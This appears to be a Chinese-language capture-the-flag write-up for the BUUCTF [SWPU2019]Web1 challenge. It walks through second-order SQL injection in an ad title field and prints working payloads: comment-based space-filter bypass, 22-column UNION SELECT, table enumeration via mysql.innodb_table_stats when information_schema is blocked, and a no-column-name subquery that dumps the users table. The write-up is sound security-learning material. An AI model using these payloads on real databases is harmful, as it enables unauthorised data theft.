buuctf [SWPU2019]Web1 记录

注册进去发现可以发广告,这种格式不是sql注入就是xss漏洞。
buuctf [SWPU2019]Web1 记录_第1张图片
buuctf [SWPU2019]Web1 记录_第2张图片
可以发现是存在的。后面用beef发现没用,并不是窃取cookie信息来登录后台

试试sql注入
在标题上进行判断
在这里插入图片描述
可以发现标题存在sql注入,往后面试,发现%23和--+ 不能闭合。
我们可以在后面加上别的
在这里插入图片描述
可以发现,上图''1'' 和这边的'322' 1’是我们输入的内容。
在这里插入图片描述
多加个单引号构造"1"'让语句闭合
在这里插入图片描述
进行联合查询的时候发现过滤了空格
buuctf [SWPU2019]Web1 记录_第3张图片
可以用/**/绕过(之前试试了括号但觉得好奇怪,不理解为什么报错)

1'/**/union/**/select/**/1,2,3/**/'

buuctf [SWPU2019]Web1 记录_第4张图片
往后面一直加,发现加到22列

1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

在这里插入图片描述
发现2,3那可查
查询库名的时候发现被过滤了,
buuctf [SWPU2019]Web1 记录_第5张图片
可能是from和information被过滤了,查资料 (select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats)
学到一个新姿势,mysql.innodb_table_stats查询表名
还可用sys.schema_auto_increment_columns
/****

(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum
ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
,19,20,21,22/**/'

*****/
上面方法行不通做个记录吧

1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

在这里插入图片描述
查询到了表名,接下来可以无列名查询
可参考该链接

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

自己做了一下无列名查询测试,发现那篇wiriteup好像写错了…(不知道是不是对的)

select b from(select 1,2,3 as b 4,5 union select * from users)sdada

当反引号被过滤了,可以使用这个as绕过,查询字段值。(那个writeup查询的结果是4字段的内容,但是他的payload却是3 as b)个人觉得他这里有问题,不对请指正。
buuctf [SWPU2019]Web1 记录_第6张图片

由此可对这题得出payload
用二次注入的方法进行注入

1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)adsa),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

你可能感兴趣的:(笔记)